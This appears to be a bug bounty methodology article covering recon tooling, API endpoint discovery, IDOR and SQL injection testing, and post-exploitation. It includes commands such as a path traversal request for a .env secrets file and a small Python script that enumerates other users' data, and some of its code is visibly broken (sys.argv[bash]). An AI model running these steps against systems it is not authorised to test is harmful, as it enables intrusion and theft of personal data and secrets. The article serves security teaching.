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Introduction:
Behind every successful bug bounty notification is a relentless, methodical process of reconnaissance and vulnerability chaining that most beginners overlook. While certifications like CEH and WAPT provide foundational knowledge, the real-world execution involves automating discovery, interrogating APIs, and exploiting subtle logic flaws. This article deconstructs the technical workflow that transforms a simple connection into a critical finding worthy of a bounty.
Learning Objectives:
- Master a professional recon stack for automated asset discovery and vulnerability surface mapping.
- Understand and exploit common API security misconfigurations and business logic errors.
- Learn the post-exploitation steps to demonstrate critical impact, including privilege escalation and data exfiltration.
You Should Know:
1. Phase 1: Automated Reconnaissance & Asset Enumeration
The first step is casting the widest possible net. Professional hunters use layered tools to discover every possible asset—subdomains, cloud buckets, APIs, and forgotten subdirectories—linked to the target.
Step‑by‑step guide explaining what this does and how to use it.
Subdomain Enumeration: Use `amass` and `subfinder` in tandem.
amass enum -passive -d target.com -o amass.txt subfinder -d target.com -o subfinder.txt sort -u amass.txt subfinder.txt > final_subs.txt
Live Host & Port Discovery: Feed the subdomains into `httpx` and naabu.
cat final_subs.txt | httpx -silent -title -status-code -o live_targets.txt naabu -iL final_subs.txt -top-ports 1000 -o naabu_ports.txt
Screenshot & Tech Stack Analysis: Use `gowitness` for visual reconnaissance and `wappalyzer` (via CLI or browser extension) to identify technologies.
gowitness file -f live_targets.txt --threads 5
- Phase 2: Vulnerability Surface Mapping & API Endpoint Discovery
With assets cataloged, the focus shifts to mapping attack surfaces, with APIs being a primary target due to their complexity and frequent misconfigurations.
Step‑by‑step guide explaining what this does and how to use it.
Spidering & Endpoint Discovery: Use `hakrawler` or `katana` to crawl discovered hosts.
cat live_targets.txt | hakrawler -plain -usewayback -depth 3 > endpoints.txt
API-Specific Discovery: Extract API endpoints from JS files and using tools like `gau` (GetAllURLs).
gau target.com | grep -E "api.|v[0-9]\/|graphql|rest" | sort -u > api_endpoints.txt
Parameter Discovery: Use `arjun` or `paramspider` to find hidden query parameters.
python3 arjun.py -u https://api.target.com/v1/user --get
- Phase 3: Testing for Common API & Web Vulnerabilities
Automated and semi-automated testing for widespread flaws like IDOR, Broken Object Level Authorization (BOLA), and injection points.
Step‑by‑step guide explaining what this does and how to use it.
Auth Bypass & IDOR Testing: Manually test endpoints by altering user IDs, but automate the search with a custom `ffuf` command.
ffuf -w user_ids.txt:FUZZ -u 'https://api.target.com/v1/user/FUZZ/profile' -H 'Authorization: Bearer <token>' -mr "email"
Injection Probing: Use `sqlmap` for automated SQLi and `xsstrike` for XSS on discovered parameters.
sqlmap -u 'https://target.com/search?q=1' --batch --level=2
Misconfiguration Checks: Scan for open directories, verbose errors, and default files.
feroxbuster -u https://target.com -w /path/to/wordlist -x php,json,bak -C 403,404
- Phase 4: Business Logic & Authorization Flaw Exploitation
This is where human ingenuity outperforms automation. Test multi-step workflows for flaws like coupon fraud, race conditions, or privilege escalation.
Step‑by‑step guide explaining what this does and how to use it.
Privilege Escalation: After gaining a low-privilege account, test for horizontal/vertical privilege escalation by accessing admin endpoints with the same token.
Attempt to access an admin API curl -H "Authorization: Bearer <low_priv_token>" https://api.target.com/admin/v1/users
Race Condition Testing: Use a tool like `turbo-intruder` (Burp Suite) to fire parallel requests for actions like “redeem loyalty points” or “assign coupon.”
File Upload Bypass: Test for executable file uploads by altering MIME types, magic bytes, and using nested polyglot files.
- Phase 5: Post-Exploitation & Proof of Concept (PoC) Development
Demonstrating impact is crucial for bounty valuation. Move from “vulnerability exists” to “here’s the data I accessed.”
Step‑by‑step guide explaining what this does and how to use it.
Sensitive Data Access: Use exploited flaws to dump user PII, source code, or secrets.
Example using a path traversal curl --path-as-is "https://target.com/files/../../../.env"
Build a Reproducible PoC: Create a minimal, standalone script (Python/JavaScript) that bounty program triagers can run to confirm the bug.
import requests
import sys
PoC for IDOR
token = sys.argv[bash]
headers = {'Authorization': f'Bearer {token}'}
for id in range(100, 110):
resp = requests.get(f'https://api.target.com/user/{id}/data', headers=headers)
if resp.status_code == 200:
print(f"[+] Data Leak for User {id}: {resp.text[:50]}")
Documentation: Clearly document the HTTP request/response cycle with tools like `burp collaborator` for SSRF/RCE or screenshots for UI flaws.
What Undercode Say:
- The Bounty is in the Process, Not the Tool: Success stems from a relentless, repeatable methodology. The most valuable tool is a structured pipeline that funnels recon data into targeted exploitation attempts.
- Impact Dictates Reward: Time spent crafting a PoC that demonstrates clear business risk (data breach, financial loss, system compromise) is more valuable than finding ten low-severity bugs. Always chain findings to maximize criticality.
Prediction:
The bug bounty landscape will increasingly favor automation engineers and creative problem-solvers over manual testers. As standard vulnerabilities (like basic XSS) become harder to find due to framework adoption and WAFs, hunters will need deeper skills in logic flaw discovery, cloud service misconfigurations (e.g., AWS S3, IAM), and AI model security. The rise of AI-assisted code review and vulnerability discovery will shift the human role to designing complex attack chains that machines cannot yet conceive, making the methodological rigor outlined here the permanent differentiator between a hobbyist and a professional.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Ajay Kumar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
